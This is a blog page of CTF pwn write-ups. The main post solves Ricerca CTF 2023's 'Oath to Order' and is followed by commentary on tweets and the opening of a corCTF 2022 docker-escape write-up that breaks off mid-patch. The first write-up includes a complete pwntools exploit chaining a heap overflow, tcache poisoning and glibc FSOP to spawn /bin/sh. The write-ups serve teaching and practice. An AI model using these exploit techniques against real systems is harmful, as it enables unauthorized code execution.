newbieからバイナリアンへ

newbie dive into binary

昨日は海を見に行きました

【pwn61.0】Oath to Order - Ricerca CTF 2023

keywords

aligned_alloc / memalign / FSOP / _IO_wfile_jumps / _IO_wfile_overflow

 

1. イントロ

Hey yo, おれの名前はMC NEET、悪そうなやつはだいたい悪い。

さて、久しぶりにCTFに出たのでCTFの記事を書きます。 まぁ解けなかったので、他の人のwriteupを見て写経です。楽しいね。 題材はRicerca CTF 2023Oath to Order。全然関係ないんですが、ぼくは未だにRicercaのスペルを調べないで書けたことがありません。どう頑張ってもRichelcaって書いちゃう。誰か良い覚え方があったら教えてください。

2. Challenge Analysis

The challenge is a simple note allocator, where

  • We can allocate up to NOTE_LEN(== 10) notes, with each note can have up to NOTE_SIZE(== 300) bytes.
  • We can NOT free allocated notes.
  • We can NOT edit allocated notes.
  • We can specify an index of note to write to. We can write to the same note multiple times, but new allocation is performed everytime.
  • Allocation is done by aligned_alloc(align, size), where we can specify align smaller than NOTE_SIZE.

The most curious thing is that notes are allocated by aligned_alloc. I will briefly introduce this function later in this post.

3. Vulnerability

Actually, I couldn’t find out the vuln in the program at first glance. So I wrote simple fuzzer and hanged out. When I go back home, the fuzzer crashed when align == 0x100 and size == 0. Okay, this is a vuln:

c
void getstr(char *buf, unsigned size) {
  while (--size) {
    if (read(STDIN_FILENO, buf, sizeof(char)) != sizeof(char))
      exit(1);
    else if (*buf == '\n')
      break;
    buf++;
  }

  *buf = '\0';
}

When size is zero, we can input data of arbitrary size.

4. Understanding aligned_alloc to leak libcbase

aligned_alloc is a function to allocate memory at specified alignment. Below is a simple flow to allocate a memory:

  • If align is smaller than MALLOC_ALIGNMENT (==0x10 in many env), just call __libc_malloc(). Note that calling __libc_malloc is a little bit important later.
  • If align is not a power of 2, round up to the next power of 2. (I think this violates POSIX standard, but no worry this is glibc)
  • Calls __int_memalign(), where __int_malloc() is called for the size of size + align, which is the worst case of an alignment mismatche.
  • Find the aligned spot in allocated chunk, and split the chunk into three. The first and the third is freed, then the second is returned.

This is a pretty simplified explanation, but it’s enough to solve this chall.

5. Heap Puzzle: Leak libcbase by freeing alloced fastbin

First, we allocate a chunk with alignment 0xF0 and size 0:

py
  create(0, 0xF0, 0, b"A"*0x10 + p64(0xF0) + p32(0x40))

Note that when we call aligned_alloc with size 0, it allocates minimum size of chunk, which is 0x20. Right after the allocation, heap looks as follows:

txt
# Chunk A (fastbin, last_remainder)
0x5581b77ee000: 0x0000000000000000      0x00000000000000f1
0x5581b77ee010: 0x00007f1773219ce0      0x00007f1773219ce0
0x5581b77ee020: 0x0000000000000000      0x0000000000000000
0x5581b77ee030: 0x0000000000000000      0x0000000000000000
0x5581b77ee040: 0x0000000000000000      0x0000000000000000
0x5581b77ee050: 0x0000000000000000      0x0000000000000000
0x5581b77ee060: 0x0000000000000000      0x0000000000000000
0x5581b77ee070: 0x0000000000000000      0x0000000000000000
0x5581b77ee080: 0x0000000000000000      0x0000000000000000
0x5581b77ee090: 0x0000000000000000      0x0000000000000000
0x5581b77ee0a0: 0x0000000000000000      0x0000000000000000
0x5581b77ee0b0: 0x0000000000000000      0x0000000000000000
0x5581b77ee0c0: 0x0000000000000000      0x0000000000000000
0x5581b77ee0d0: 0x0000000000000000      0x0000000000000000
0x5581b77ee0e0: 0x0000000000000000      0x0000000000000000
# Chunk B (alloced)
0x5581b77ee0f0: 0x00000000000000f0      0x0000000000000020
0x5581b77ee100: 0x4141414141414141      0x4141414141414141
# Chunk C (fastbin)
0x5581b77ee110: 0x00000000000000f0      0x0000000000000040 # OVERWRITTEN
0x5581b77ee120: 0x00000005581b77ee      0x0000000000000000
0x5581b77ee130: 0x0000000000000000      0x0000000000000000
0x5581b77ee140: 0x0000000000000000      0x0000000000000000
# Top
0x5581b77ee150: 0x0000000000000000      0x0000000000020eb1

We overwrote C’s header with prev_size = 0xF0 and size = 0x40. Obviously, prev_size is invalid for now, but becomes valid later.

Then, we allocate chunks in Chunk A:

py
  create(1, 0, 0, b"B"*0x18 + p32(0xF1))

Heap looks as follows:

txt
# Chunk A1 (alloced)
0x560d76401000: 0x0000000000000000      0x0000000000000021
0x560d76401010: 0x4242424242424242      0x4242424242424242
# Chunk A2 (unsorted) (system assumes A2+B is a single chunk with size 0xF0)
0x560d76401020: 0x4242424242424242      0x00000000000000f1 # OVERWRITTEN
0x560d76401030: 0x00007fcf2c019ce0      0x00007fcf2c019ce0
0x560d76401040: 0x0000000000000000      0x0000000000000000
0x560d76401050: 0x0000000000000000      0x0000000000000000
0x560d76401060: 0x0000000000000000      0x0000000000000000
0x560d76401070: 0x0000000000000000      0x0000000000000000
0x560d76401080: 0x0000000000000000      0x0000000000000000
0x560d76401090: 0x0000000000000000      0x0000000000000000
0x560d764010a0: 0x0000000000000000      0x0000000000000000
0x560d764010b0: 0x0000000000000000      0x0000000000000000
0x560d764010c0: 0x0000000000000000      0x0000000000000000
0x560d764010d0: 0x0000000000000000      0x0000000000000000
0x560d764010e0: 0x0000000000000000      0x0000000000000000
# Chunk B (alloced)
0x560d764010f0: 0x00000000000000d0      0x0000000000000020
0x560d76401100: 0x4141414141414141      0x4141414141414141
# Chunk C (fastbin)
0x560d76401110: 0x00000000000000f0      0x0000000000000040
0x560d76401120: 0x0000000560d76401      0x0000000000000000
0x560d76401130: 0x0000000000000000      0x0000000000000000
0x560d76401140: 0x0000000000000000      0x0000000000000000
# [!] tcache
0x560d76401150: 0x0000000000000000      0x0000000000000291
0x560d76401160: 0x0000000000000000      0x0000000000000000

Chunk A1 and A2 are allocated from Chunk A. We overwrote A2’s header with size = 0xF0 and prev_in_use set. Now, prev_size of Chunk C became valid, which means that A2+B becomes a valid prev chunk of C.

Finally, we allocate a chunk of size 0xD0, which is allocated from A2+B in unsorted bins:

py
  create(2, 0, 0xC0, "C" * 0x20)

This is where the magic happens. Heap looks as follows:

txt
# Chunk A1 (alloced)
0x55942f65c000: 0x0000000000000000      0x0000000000000021
0x55942f65c010: 0x4242424242424242      0x4242424242424242
# Chunk A2A (alloced)
0x55942f65c020: 0x4242424242424242      0x00000000000000d1
0x55942f65c030: 0x4343434343434343      0x4343434343434343
0x55942f65c040: 0x4343434343434343      0x4343434343434343
0x55942f65c050: 0x0000000000000000      0x0000000000000000
0x55942f65c060: 0x0000000000000000      0x0000000000000000
0x55942f65c070: 0x0000000000000000      0x0000000000000000
0x55942f65c080: 0x0000000000000000      0x0000000000000000
0x55942f65c090: 0x0000000000000000      0x0000000000000000
0x55942f65c0a0: 0x0000000000000000      0x0000000000000000
0x55942f65c0b0: 0x0000000000000000      0x0000000000000000
0x55942f65c0c0: 0x0000000000000000      0x0000000000000000
0x55942f65c0d0: 0x0000000000000000      0x0000000000000000
0x55942f65c0e0: 0x0000000000000000      0x0000000000000000
# Chunk A2B(==B) (alloced AND fastbin)
0x55942f65c0f0: 0x00000000000000d0      0x0000000000000021
0x55942f65c100: 0x00007f5eb0e19ce0      0x00007f5eb0e19ce0
# Chunk C (fastbin)
0x55942f65c110: 0x0000000000000020      0x0000000000000040
0x55942f65c120: 0x000000055942f65c      0x0000000000000000
0x55942f65c130: 0x0000000000000000      0x0000000000000000
0x55942f65c140: 0x0000000000000000      0x0000000000000000
# [!] tcache
0x55942f65c150: 0x0000000000000000      0x0000000000000291
0x55942f65c160: 0x0000000000000000      0x0000000000000000

Chunk is allocated from unsorted bins and it mistakenly assumes that the size is 0xF0, which We overwrote with. Therefore, Chunk B is freed and connected to fastbin, though it is still in use for notes. We can leak the addr of unsortedbin via fd by reading the note[0]. We got a libcbase.

Overwriting tcache directly for AAW

You may notice that I wrote [!] tcache in the heap layout. tcache is allocated in the middle of chunks in the above layout. This is because tcache is initialized when __libc_malloc is called first time. Remember that we first call aligned_alloc with align = 0xF0 and then with align = 0x0. When we call aligned_alloc with enough align value, it directly calls _int_malloc, which does NOT initialize tcache. This is a good news, because we can easily overwrite tcache in the middle of heap by the overflow.

py
  #   counts
  tcache = p16(1) # count of size=0x20 to 1
  tcache = tcache.ljust(0x80, b"\x00") # set other counts to 0
  #   entries
  tcache += p64(io_stderr)
  create(3, 0, 0, b"D"*0x58 + p64(0x291) + tcache)

We set counts of size = 0x20 to 1, and entries of the size to _IO_2_1_stderr_. Yes we have to do FSOP.

bins

6. FSOP: abusing wfile vtable

TBH, i’m totally stranger around FSOP of latest glibc. So I searched for some writeups and found good articles:

Plainly speaking, calls to funcs in vtable _wide_vtable, which is invoked in funcs in _IO_wfile_jumps, are not supervised. So my approach is:

  • Target is __IO_2_1_stderr_ (hereinafter called stderr).
  • Overwrite stderr._wide_data._wide_vtable to point to somewhere we can write to.
  • Overwrite stderr._vtable from _IO_file_jumps to _IO_wfile_jumps.
  • Call stderr._vtable.__overflow == _IO_wfile_overflow to invoke call to stderr._wide_data._wide_vtable.__doallocate.

__overflow is called when glibc is exiting. glibc calls _IO_cleanup(), where __IO_flush_all_lockp() is called:

c
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;
...
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      ...
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
        || (_IO_vtable_offset (fp) == 0
          && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
              > fp->_wide_data->_IO_write_base))
        )
      && _IO_OVERFLOW (fp, EOF) == EOF)
        result = EOF;

    ...
    }
...
}

We can read some restriction of stderr from this code to reach _IO_OVERFLOW:

  • _mode must be larger than 0
  • _wide_data->_IO_write_ptr must be greater than _wide_data->_IO_write_base

Then, _IO_wfile_overflow is called:

c
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      ...
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
	{
	  _IO_wdoallocbuf (f);
    ...
	}
      else
...

Additional restriction of stderr:

  • _flags & _IO_NO_WRITES(=0x8) must be 0
  • _flags & _IO_CURRENTLY_PUTTING(0x800) must be 0
  • _wide_data->_IO_write_base must be NULL

Finally, _IO_wdoallocbuf is called:

c
void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      return;
...
}

Final restriction:

  • _flags & _IO_UNBUFFERED(0x2) must be 0

To fulfill all the conditions, we can overwrite stderr and following stdout as below:

py
  # Overwrite _IO_2_1_stderr_
  #  flags
  #  - & _IO_NO_WRITES(0x2): must be 0
  #  - & _IO_UNBUFFERED(0x8): must be 0
  #  To fulfill this condition, we just use spaces(0x20) before /bin/sh
  payload = b" " * 8 + b"/bin/sh\x00" # flags
  payload += p64(0x0) * int((0x90/8 - 1))
  payload += p64(0) # cvt
  payload += p64(io_stdout + 0x20) # wide_data
  payload += p64(0) * 3
  payload += p32(1)
  payload += b"\x00"*0x14
  payload += p64(io_wfile_jumps)

  ## stdout (== stderr->_wide_data)
  payload += p64(0) * 4 # becomes wide_vtable
  payload += p64(0) * 3 # read
  payload += p64(0) # write_base: must be NULL
  payload += p64(0x10) # write_ptr
  payload += p64(0x0) # write_end
  payload += p64(0x0) # buf_base
  payload += p64(system) * 4 # becomes wide_vtable->doalloc
  payload += p64(0) * 2 # state
  payload += p64(0) * int(0x70/8) # codecvt
  payload += p64(io_stdout) * 10 # wide_vtable

  create(4, 0, 0, payload)

We use stdout as a buffer for _wide_data (, and entries of fake vtable). In this challenge, IO is performed by read/write calls. So these FILE structure can be tampered. As a sidenote, stderr is the first entry of the chain of FILE structures, so we have to pay no attention to stdout and stdin at all :). When we call wide_vtable.__doallocate, which is overwritten with system(), RDI is fp, which is stderr in this case. So we wanna place the string /bin/sh\x00 at the start of stderr. However, here is a _flag and it has some restrictions stated above. And the string doesn’t match the condition. No worry. We can just prefix the /bin/sh\x00 with 8 spaces(0x20), then all conditions are fulfilled. Space is a great character for FSOP!

7. Full Exploit

https://github.com/smallkirby/pwn-writeups/blob/master/ricerca2023/oath-to-order/exploit.py

py
#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "chall"
LIBCNAME = ""

hosts = ("oath-to-order.2023.ricercactf.com","localhost","localhost")
ports = (9003,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def create(ix: int, align: int, size: int, data: str):
  global c
  print(f"[CREATE] ix:{ix}, align:{align}, size:{size}, datalen:{len(data)}")
  print(c.recvuntil("1. Create"))
  c.sendlineafter("> ", b"1")
  c.sendlineafter("index: ",str(ix))
  if "inv" in str(c.recv(4)):
    return
  c.sendlineafter(": ", str(size))
  if "inv" in str(c.recv(4)):
    return
  c.sendlineafter(": ", str(align))
  if "inv" in str(c.recv(4)):
    return
  if '\n' in str(data):
    c.sendlineafter(": ", str(data).split('\n')[0])
  elif (len(data) == size - 1) and (size != 0) and (len(data) != 0):
    c.sendafter(": ", data)
  elif (len(data) >= size and size != 0):
    c.sendafter(": ", data[:size-1])
  else:
    c.sendlineafter(": ", data)

def show(ix: int):
  global c
  print(f"[SHOW] ix:{ix}")
  print(c.recvuntil("1. Create"))
  c.sendlineafter("> ", b"2")
  c.sendlineafter("index: ", str(ix))

def quit():
  global c
  c.sendlineafter("> ", "3")

  c.interactive()

def wait():
  input("WAITING INPUT...")

## exploit ###########################################

def exploit():
  global c

  # Alloc 3 chunks
  #  - A: freed(fast), size=0xF0, align=0x0
  #  - B: alloced    , size=0x20, align=0xF0
  #  - C: freed(fast), size=0x40, align=0x110
  # Then overwrite C's header with prev_size=0xF0, prev_in_use=false
  # Chunk refered by prev_size is allocated later.
  create(0, 0xF0, 0, b"A"*0x10 + p64(0xF0) + p32(0x40))
  # Alloc 2 chunks, using fastbin(A)
  #  - A1: alloced,         size=0x20, align=0x0
  #  - A2: freed(unsorted), size=0xD0, align=0x20
  # Then overwrite A2's header with 0xF1, which is same with C's prev_size.
  # A2 becomes valid prev chunk of C.
  #
  # Note that this is the first time to call __libc_malloc,
  # where tcache is initialized in chunk of size 0x290, because
  #  - memalign with too small align: calls `__libc_malloc`
  #  - normal memalign: calls `__int_memalign`, where `_int_malloc` is directly called
  # Therefore, tcache is initialized right after chunk C.
  create(1, 0, 0, b"B"*0x18 + p32(0xF1))
  # Alloc 2 chunks, using unsortedbin (A2)
  # A2 is the only chunk in unsortedbin and is a last_remainder,
  # so it is split into 2 chunks.
  #  - A2A: alloced, size=0xD0, align=0x20
  #  - A2B: freed(unsorted), size=0xF0
  # A2B is identical to B. Its fd and bk is overwritten with unsortedbin's addr.
  create(2, 0, 0xC0, "C" * 0x20)

  # Leak unsortedbin addr via fd of B(==A2B)
  show(0)
  unsorted = u64(c.recv(6).ljust(8, b"\x00"))
  print("[+] unsorted bin: " + hex(unsorted))
  printf = unsorted - 0x1b9570
  libcbase = printf - 0x60770
  print("[+] libc base: " + hex(libcbase))
  system = libcbase + 0x50d60
  io_stderr = libcbase + 0x21a6a0
  io_stdout = io_stderr + 0xE0
  io_wfile_jumps = libcbase + 0x2160c0
  main_arena = libcbase + 0x219c80
  print("[+] system: " + hex(system))
  print("[+] _IO_2_1_stderr_: " + hex(io_stderr))
  print("[+] main_arena: " + hex(main_arena))

  # Overwrite tcache in heap right after C.
  #   counts
  tcache = p16(1) # count of size=0x12 to 1
  tcache = tcache.ljust(0x80, b"\x00") # set other counts to 0
  #   entries
  tcache += p64(io_stderr)
  create(3, 0, 0, b"D"*0x58 + p64(0x291) + tcache)

  # Overwrite _IO_2_1_stderr_
  #  flags
  #  - & _IO_NO_WRITES(0x2): must be 0
  #  - & _IO_UNBUFFERED(0x8): must be 0
  #  To fulfill this condition, we just use spaces(0x20) before /bin/sh
  payload = b" " * 8 + b"/bin/sh\x00" # flags
  payload += p64(0x0) * int((0x90/8 - 1))
  payload += p64(0) # cvt
  payload += p64(io_stdout + 0x20) # wide_data
  payload += p64(0) * 3
  payload += p32(1)
  payload += b"\x00"*0x14
  payload += p64(io_wfile_jumps)

  ## stdout (== stderr->_wide_data)
  payload += p64(0) * 4 # becomes wide_vtable
  payload += p64(0) * 3 # read
  payload += p64(0) # write_base: must be NULL
  payload += p64(0x10) # write_ptr
  payload += p64(0x0) # write_end
  payload += p64(0x0) # buf_base
  payload += p64(system) * 4 # becomes wide_vtable->doalloc
  payload += p64(0) * 2 # state
  payload += p64(0) * int(0x70/8) # codecvt
  payload += p64(io_stdout) * 10 # wide_vtable

  create(4, 0, 0, payload)
  quit() # invoke _IO_wfile_overflow in _IO_all_lockp

  c.interactive()

## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
        #s = ssh('<USER>', '<HOST>', password='<PASSOWRD>')
        #c = s.process(executable='<BIN>')
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

8. アウトロ

RicSec

いや〜〜、めちゃくちゃパズルで最高ですね。scanf/printfじゃなくてread/writeを使ってたのは、stdoutをぐちゃぐちゃにしてもいいようになのかな。 最近のglibc FSOP周りを全然知らなかったので、とても勉強になりました。これを機にCTF再開しようかなと思えるくらいには楽しかったです。

あと余談なんですが、再来週に人生初飛行機に乗ってイタリアに行かなくちゃいけないので、その前に遺書を書かなくちゃなぁと思っています。

9. Refs

 

【雑談16.0】ここで一句

ミームを2個入れるという高等技術を披露しています。ここから日本のミーム文化は急速に広まっていったとされています。

 

これはライフラインであるガスと、性能が低いカスをかけています。さすがアンダーグランド生まれパソコン育ちの純正ラッパーは普段のTweetからもリリックのヴァイブスがやばいです。

 

おっと、ここでもラッパー魂が飛び出てきました。衰退が著しい日本社会、そんな中で卍本物卍を求めて日々を生きているキリン。見えてくるものは見た目を気取ったfake野郎ばかりだ。そんな憤りと、おれはそうはならないという強い意思を感じる一句です。

 

「泥沼がここまで深いとは知らずに通ろうとしてしまった」

画質が悪いですが、ここに写っているのが本人だそうです。どんなに危険な道であろうとも、まずは渡ろうとしてみるというチャレンジャーとしての本懐を感じますね。

 

無をするという高等テクニックです。

 

チャレンジャー精神どうしたんですか。

 

 

これはもう、わかりません。本人にしかわからない言葉です。誰にでも伝わる言葉なんて所詮廃れる陳腐なもんだ。俺の魂の言葉は俺にだけ伝わればいい。そんなメッセージがサブリミナル的に伝わってきますね。

 

この頃からコーヒー中毒の兆しが見えてきています。

Janvier Fevrier Mars Avril Mai Juin Juillet Aout...はフランス語での月を表しており、フランスからTweetしていることを示唆していますね。

 

バーキン

 

これが後世に伝わる埋蔵金発掘事件です。この1400円は、世界中の平和のために、きっとコーヒー代に使われたのでしょう。

 

これが観測できた限り唯一の匂わせTweetです。この画像、どこなんでしょうね。研究室っぽくないし。ちなみにディスプレイは実は手前のお茶と恋人という裏話があります。

 

ここにきて泣き虫という一面を披露してきました。アンダーグラウンドを生き抜くラッパー精神と、周囲の人の心をくすぐる愛嬌を持っている生物、それがキリンです。

 

おっと、ここで泣かない決心をしたようです。

 

泣き出さずに、ひたすら自己を追求するという、まさに令和のソクラテスというにふさわしい一句。理由なんて無い、自分は自分なんだという硬い意思表示が感じ取れます。それと同時に思考を放棄した不甲斐なさも感じられますね。

 

泣いちゃったようです。やはり自己の証明は難しかったようです。

 

人生が終了したということで、このブログもここまでです。

 

 

それでは最後におなじみの一句で締めましょう:

 

 

 

 

参考:

 

 

 

 

 

【pwn 60.0】corjail - CoRCTF2022 (docker escape / kernel exploit)

keywords

kernel exploit / docker escape / poll_list / kROP on tty_struct / tty_file_private / setxattr

//////////////////// ENGLISH ver is HERE ////////////////////

1. イントロ

いちにょっき、ににょっき、さんにょっき!!こんにちは、ニートです。 最近は少しフロント周りを触っていたということで、となると反動でpwnがやりたくなる季節ですね。とはいっても今週からまた新しいインターンに行くことになっているので、様々な環境の変化に正気を保つのがギリギリな今日この頃。というわけで、今日は更に初めての経験をするべくdocker escape pwn問題を解いていきましょう。 解くのはcorCTF 2022corjailという問題。確か前回のエントリでもcorCTFの問題を解いた気がするのですが、このCTFの問題はかなり好きです。初めてのdocker escape問題ということで、解いてる時に詰まったところや失敗したところ等も含めて書き連ねていこうと思います。まぁ詰まったところと言ってもwriteupをカンニングしたんですけどね。ただ、これは気をつけていることと言うかpwnのwriteupを先に見る時にいつもやることですが、writeupは薄目で見るようにしています。細かいexploit内容は読まずに、keyword的なものだけピックアップして、それらをどう使うかは自分でちゃんと考えるみたいな。カンニングするにしても、最初っから全部見ちゃうとおもしろみがなくなっちゃうので。このエントリでは、色々試行錯誤したり詰まったところも含めたデバッグ風景も一緒に書いていこうと思います。

2. devenv setup

まずはGitHubから問題をcloneしてきます。 配布ファイルがたくさんあるので、5分ほどuouoしましょう。 続いてbuild_kernel.shでKernelイメージをビルドします(スクリプト中だとシングルコアでビルドすることになっていて永遠に終わらないため、適宜修正しましょう)。 なんか途中でSSL周りのエラーが出るため、MODULES_SIG_ALLらへんを無効化してしまいましょう。 続いて、build_image.shでゲストファイルシステムを作成します。一応いろいろなことをしているので、evilなことをされないか自分でスクリプトの中身を見ましょう。作成されるファイルはbuild/corors/coros.qcow2です。QCOW形式のファイルは、以下の感じでmount/umountできます:

mount.bash
### mount.bash
#!/bin/bash
set -eu

MNTPOINT=/tmp/hoge
QCOW=$(realpath "${PWD}"/../build/coros/coros.qcow2)

sudo modprobe nbd max_part=8
mkdir -p $MNTPOINT
sudo qemu-nbd --connect=/dev/nbd0 "$QCOW"
sudo fdisk -l /dev/nbd0
sudo mount /dev/nbd0 $MNTPOINT

### umount.bash
#!/bin/bash

set -eu
MNTPOINT=/tmp/hoge

sudo umount $MNTPOINT || true
sudo qemu-nbd --disconnect /dev/nbd0
sudo rmmod nbd

さて、最初に起動フローを把握しておきます。上のスクリプトでマウントされたファイルシステムを見ると、/etc/inittabは以下の感じです。

inittab
T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100

普通ですね。続いて/etc/init.d/dockerあたりにdockerデーモンのサービススクリプトがありますが、これもまあ普通なので割愛。/etc/systemd/system/init.serviceには以下のようにサービスが登録されています:

/etc/systemd/system/init.service
[Unit]
Description=Initialize challenge

[Service]
Type=oneshot
ExecStart=/usr/local/bin/init

[Install]
WantedBy=multi-user.target

ExecStartである/usr/local/bin/initはこんな感じ:

/usr/local/bin/init
#!/bin/bash

USER=user

FLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}')

useradd --create-home --shell /bin/bash $USER

echo "export PS1='\[\033[01;31m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# '"  >> /root/.bashrc
echo "export PS1='\[\033[01;35m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '" >> /home/$USER/.bashrc

chmod -r 0700 /home/$USER

mv /root/temp /root/$FLAG
chmod 0400 /root/$FLAG

新しいユーザ(user)を作って、PS1をイかした感じにして、flagをroot onlyにしているくらいです。続いて、/etc/passwdはこんな感じ:

/etc/passwd
root:x:0:0:root:/root:/usr/local/bin/jail
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
(snipped...)

rootのログインシェルが/usr/local/bin/jailになっています:

/usr/local/bin/jail
#!/bin/bash

echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
/usr/bin/docker run -it --user user --hostname CoRJail --security-opt seccomp=/etc/docker/corjail.json -v /proc/cormon:/proc_rw/cormon:rw corcontainer
/usr/sbin/poweroff -f

userとしてdockerを起動したあと、poweroffをしていますね。ここがメインの処理みたいです。--security-opt seccomp=/etc/docker/corjail.jsonを指定していますが、seccomp filterの内容は後ほど見ていくことにします。/proc/cormonという謎のproc fsもバインドマウントしていますが、これも後ほど見ていくことにします。 というわけで、ゲストOSのroot(not on docker)を触りたいときには、/etc/passwdのログインシェルを/bin/bashあたりにしておけばいいことがわかりました。rootでdocker imagesしてみると、以下の感じ:

root@CoROS:~# docker images
REPOSITORY     TAG             IMAGE ID       CREATED        SIZE
corcontainer   latest          8279763e02ce   2 months ago   84.7MB
debian         bullseye-slim   c9cb6c086ef7   3 months ago   80.4MB

先程jailの中でも指定されていたcorcontainerがありますね。これはどうやってつくられたのでしょう。build_image.shを見てみると、以下の記述があります:

build_image.sh
tar -xzvf coros/files/docker/image/image.tar.gz -C coros/files/docker
cp -rp coros/files/docker/var/lib/docker $FS/var/lib/
rm -rf coros/files/docker/var

Docker imageは予め作られたものを使っているようです。デバッグ時には常に最新のexploitをguest OSのdockerコンテナ上に置いておきたいので、/usr/local/bin/jailを以下のように変更しておきましょう:

/usrr/local/bin/jail
#!/bin/bash

echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
cp /exploit /home/user || echo "[!] exploit not found, skipping"
chown -R user:user /home/user
echo 0 > /proc/sys/kernel/kptr_restrict
/usr/bin/docker run -it --user root \
  --hostname CoRJail \
  --security-opt seccomp=/etc/docker/corjail.json \
  --add-cap CAP_SYSLOG \
  -v /proc/cormon:/proc_rw/cormon:rw \
  -v /home/user/:/home/user/host \
  corcontainer
/usr/sbin/poweroff -f

あとはexploitをguestのファイルシステムにおいておけば、勝手にコンテナ内の/home/user/exploitに配置されて便利ですね。ついでにCAP_SYSLOGを与えることで/proc/kallsysmを見れるようにしています。 因みに諸々のめんどくさいことは、lysitheaが全部面倒見てくれるので、最初のセットアップを除くと実際には以下のコマンドを打つだけです:

lysithea.bash
lysithea init # first time only
lysithea extract # first time only
lysithea local

3. static analysis

misc

lysithea曰く:

lysithea.bash
root@CoRJail:/home/user/host# ./drothea --verbose
Drothea v1.0.0
[.] kernel version:
        Linux version 5.10.127 (root@VPS) (gcc (Debian 8.3.0-6) 8.3.0, GNU ld (GNU Binutils for Debian) 2.31.1) #2 SMP Thu January 1 00:00:00 UTC 2030
[-] CONFIG_KALLSYMS_ALL is enabled.
[!] unprivileged ebpf installation is enabled.
cat: /proc/sys/vm/unprivileged_userfaultfd: No such file or directory
[-] unprivileged userfaultfd is disabled.
[?] KASLR seems enabled. Should turn off for debug purpose.
[?] kptr seems restricted. Should try 'echo 0 > /proc/sys/kernel/kptr_restrict' in init script.
root@CoRJail:/home/user/host# ./ingrid --verbose
Ingrid v1.0.0
[-] userfualtfd is disabled.
[-] CONFIG_DEVMEM is disabled.

基本的セキュリティ機構は全部有効です。さて、kernelのビルドスクリプト(build_kernel.shを読むと、以下のようなパッチがあたっています:

patch.diff
diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
--- a/arch/x86/entry/syscall_64.c	2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/entry/syscall_64.c	2022-07-02 12:34:11.237778657 +0200
@@ -17,6 +17,9 @@
 
 #define __SYSCALL_64(nr, sym) [nr] = __x64_##sym,
 
+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
+EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
+
 asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
 	/*
 	 * Smells like a compiler bug -- it doesn't work
diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
--- a/arch/x86/include/asm/syscall_wrapper.h	2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/include/asm/syscall_wrapper.h	2022-07-02 12:34:11.237778657 +0200
@@ -219,9 +220,41 @@
 
 #define SYSCALL_DEFINE_MAXARGS	6
 
-#define SYSCALL_DEFINEx(x, sname, ...)				\
-	SYSCALL_METADATA(sname, x, __VA_ARGS__)			\
-	__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
+DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
+
+#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \
+	static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
+
+#define __SYSCALL_COUNT(syscall_nr) \
+	this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
+
+#define SYSCALL_COUNT_FUNCx(sname, x, ...)					\
+	{									\
+		__SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr);		\
+		return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__));	\
+	}									\
+	static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
+
+#define SYSCALL_COUNT_DECLARE0(sname) \
+	static inline long __count_sys_##sname(void);
+
+#define SYSCALL_COUNT_FUNC0(sname)					\
+	{								\
+		__SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr);	\
+		return __count_sys_##sname();				\
+	}								\
+	static inline long __count_sys_##sname(void)
+
+#define SYSCALL_DEFINEx(x, sname, ...)			\
+	SYSCALL_METADATA(sname, x, __VA_ARGS__)		\
+	SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__)	\
+	__SYSCALL_DEFINEx(x, sname, __VA_ARGS__)	\
+	SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
+
+#define SYSCALL_DEFINE0(sname)		\
+	SYSCALL_COUNT_DECLARE0(sname)	\
+	__SYSCALL_DEFINE0(sname)	\
